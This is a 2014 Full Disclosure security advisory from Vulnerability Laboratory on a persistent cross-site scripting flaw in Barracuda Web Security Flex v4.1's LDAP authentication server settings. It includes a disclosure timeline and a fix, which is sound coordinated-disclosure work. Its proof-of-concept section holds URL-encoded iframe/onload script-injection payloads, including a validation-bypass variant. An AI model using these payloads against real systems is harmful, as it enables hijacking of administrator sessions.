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Subject:    [FD] Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)
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Date:       2014-08-25 15:39:10
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Document Title:
===============
Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=750

BARRACUDA NETWORK SECURITY ID: BNSEC-699


Release Date:
=============
2014-08-22


Vulnerability Laboratory ID (VL-ID):
====================================
750


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
The Barracuda Web Security Service is a cloud-based web filtering service ideal for \
organizations with users in  multiple locations. With no hardware to install, this powerful \
SaaS web filter quickly and affordably lets administrators  safeguard users against aggressive \
malware while centrally managing user access to web content, applications, media,  file types \
and more. It even extends content security and management to off-network mobile devices – \
perfect for schools  that issue iPads to students, or any organization that relies on mobility.

As an enterprise-grade solution for web security, Barracuda Web Security Service saves \
administrators time otherwise spent  disinfecting computers and dealing with data breaches. \
Barracuda Web Security Service's intuitive web UI gives clear  visibility into web activity \
which speeds network troubleshooting and policy management. Interactive graphs let \
administrators  drill down from high-level overviews of the organization's web activity to \
fine-grained information about users, websites,  applications, files, bandwidth and other \
factors effecting performance and user productivity. Reporting is just as convenient  and \
granular with no database administration required. Built on a massively scalable worldwide \
multi-tenant architecture that  provides advanced web filtering to customers in fifty \
countries, Barracuda Web Security Service delivers the fastest, most  reliable web filtering in \
the industry.

(Copy of the Vendor Homepage: https://www.barracudanetworks.com/products/websecurityflex )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a web vulnerability in the official \
Barracuda Networks Web Security Flex v4.1 Application Service.


Vulnerability Disclosure Timeline:
==================================
2013-11-09:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-11-10:	Vendor Notification (Barracuda Networks - Bug Bounty Team)
2013-11-13:	Vendor Response/Feedback (Barracuda Networks - Bug Bounty Team)
2014-08-10:	Vendor Fix/Patch Notification (Barracuda Networks - Developer Team)
2014-08-20:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Web Security Flex 4.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official Barracuda \
Networks Security Flex v4.1 Application Web-Application. The bug allows remote attackers to \
inject own malicious script codes in the vulnerable module on the application-side of the \
appliance service. 

The persistent vulnerability is located in the vulnerable Domain Alias, LDAP Host and Bind \
DN/Username values of the `Remote Filtering > Authentication 
> Add Authentication Server` module. Low privileged user accounts are able to inject via POST \
> method request own malicious script codes to compromise 
the appliance web-application service. The attack vector is located on the application-side and \
the request method to inject malicious conext is POST.

The security risk of the persistent vulnerabilities are estimated as medium with a cvss (common \
vulnerability scoring system) count of 4.0. Exploitation of the security issue requires low \
user inter action (view listing) & a registered low privileged web application user account. \
Successful exploitation of the security vulnerability results in session hijacking \
(manager/admin) or stable (persistent) context manipulation.

Request Method(s):
				[+] POST

Vulnerable Service(s):
				[+] Web Security Flex

Vulnerable Module(s):
				[+] Remote Filtering > Authentication > Add Authentication Server > TEST SETTINGS or SAVE + \
Listing!

Vulnerable Parameter(s):
				[+] Domain Alias
				[+] LDAP Host
				[+] Bind DN/Username


Proof of Concept (PoC):
=======================
The persistent web vulnerability in the exception-handling can be exploited by remote attackers \
with low privileged user account and low required user inter action.  For security \
demonstration or to reproduce the security vulnerability follow the provided information and \
steps below to continue.

Review: Domain Alias, LDAP Host and Bind DN/Username

<div class="form-result form-result-error" id="flex-global-form-result" 
style="display: block;">Unable to connect to&#8203;&#8203;&#8203;&#8203;&#8203; \
">&#8203;&#8203;&#8203;&#8203;&#8203;<iframe src="a">%20%20%20%20"><[PERSISTENT SCRIPT CODE \
INJECTION!]") <:389</iframe></div>

POST REQUEST (BLOCKED): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1=
is_ajax=1
ajax_response_format=json


POST REQUEST (BYPASS VALIDATION): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1
=
is_ajax=1
ajax_response_format=json


PoC: String (Bypass %20)
">Unable to connect to&#8203;&#8203;&#8203;&#8203;&#8203; \
">&#8203;&#8203;&#8203;&#8203;&#8203;<iframe src="a">%20%20%20%20"><iframe src=vuln-lab.com \
onload=alert("VL") <

Reference(s):
https://webfilteringportaldemo.barracudanetworks.com/r/cloudauth/add


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of all invalid context \
exception-handling messages values.  Disallow to redisplay the insecure input and filter wrong \
exception to prevent execution of persistent codes in the context of the security appliance \
application.


Security Risk:
==============
The security risk of the persistent exception-handling validation web vulnerability is \
estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]


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